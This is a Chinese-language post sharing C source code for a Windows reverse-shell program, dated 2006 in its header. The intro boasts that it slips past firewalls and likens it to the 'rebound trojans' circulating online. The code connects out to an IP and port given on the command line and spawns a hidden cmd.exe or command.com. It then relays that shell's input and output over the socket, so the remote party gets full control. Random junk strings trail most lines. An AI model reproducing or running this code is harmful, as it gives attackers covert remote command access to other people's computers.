这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 U$S{j&?
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/* ============================== G_zK .N
Rebound port in Windows NT ZAn9A>5_
By wind,2006/7 t/3HX]B_
===============================*/ $sUn'62JlU
#include F)Z9Qlo
#include a8gOb6qF/H
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#pragma comment(lib,"wsock32.lib") H}q$6WE
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void OutputShell(); uvw1 _j?
SOCKET sClient; mD|Q+~=|e
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; OJh MM-
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void main(int argc,char **argv) }8s&~fH
{ '=eVem=
WSADATA stWsaData; $*LBZcL
int nRet; VF b
SOCKADDR_IN stSaiClient,stSaiServer; `C$QR
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if(argc != 3) E25w^x2
{ J1Az+m
printf("Useage:\n\rRebound DestIP DestPort\n"); )o-mM
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return; EEo I|
} $RunGaX!=N
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WSAStartup(MAKEWORD(2,2),&stWsaData); 3(nnN[?N,5
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =-&h@mB;G
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stSaiClient.sin_family = AF_INET; .g?D3$|K
stSaiClient.sin_port = htons(0); >3~)2)Q
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); u:6R|%1fNn
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) B=7maYeU
{ cV_-Bcb
printf("Bind Socket Failed!\n"); wAJ=rRI
return; )]4=anJu@|
} u^#e7u
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stSaiServer.sin_family = AF_INET; G
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); d @ l
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); p L^3*B.Nr
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) %<'.c9u5
{ 6eA)d#
printf("Connect Error!"); I6gduvkXi4
return; YpRhl(|
}
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OutputShell(); p )]x,F
} pf+VYZ#)
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void OutputShell() r .
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{ 7$t['2j3
char szBuff[1024]; wA)nryXV
SECURITY_ATTRIBUTES stSecurityAttributes; OVc)PMp
OSVERSIONINFO stOsversionInfo; 2-Wy@\
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; >oaL -01i
STARTUPINFO stStartupInfo; ;t,v/(/3
char *szShell; 3 TTQff
PROCESS_INFORMATION stProcessInformation; zSu,S4m_;
unsigned long lBytesRead; wXKt)3dm u
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); '#eT
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); qmenj
stSecurityAttributes.lpSecurityDescriptor = 0; LR\8M(rtvH
stSecurityAttributes.bInheritHandle = TRUE; pd& HC
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); e&Q
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); WwWCNN~}
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); G;/l[mvh,
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; g+c%J#F=
stStartupInfo.wShowWindow = SW_HIDE; 7s!rer>
stStartupInfo.hStdInput = hReadPipe; AT1{D!b
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ;:+2.//
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GetVersionEx(&stOsversionInfo); !(viXV5
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switch(stOsversionInfo.dwPlatformId) UO!} 0'
{ e$JCak=
case 1: zr_L
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szShell = "command.com"; &A`,hF8
break; Y(2Z<d
default: Jf\`?g3#
szShell = "cmd.exe"; (0.JoeA`y
break; R*XZPzg%
} yF%e)6
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); DlAwB1Ak
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send(sClient,szMsg,77,0); C*B5"s"
while(1) *K@O3n
{ Y6v#0pT
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); \Sv|yQUT
if(lBytesRead) %y*'bS
{ t)g%9 k^
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); `PvS+>q
send(sClient,szBuff,lBytesRead,0); 01uj-!D$@
} 'Ffvd{+:8
else 7~'%ThUb$-
{ LnN:;h
lBytesRead=recv(sClient,szBuff,1024,0); B., BP
if(lBytesRead<=0) break; 3Co1bY:
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Msfxce
} HDKY7Yr
} Fp[49
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return; G"kX#k0S
}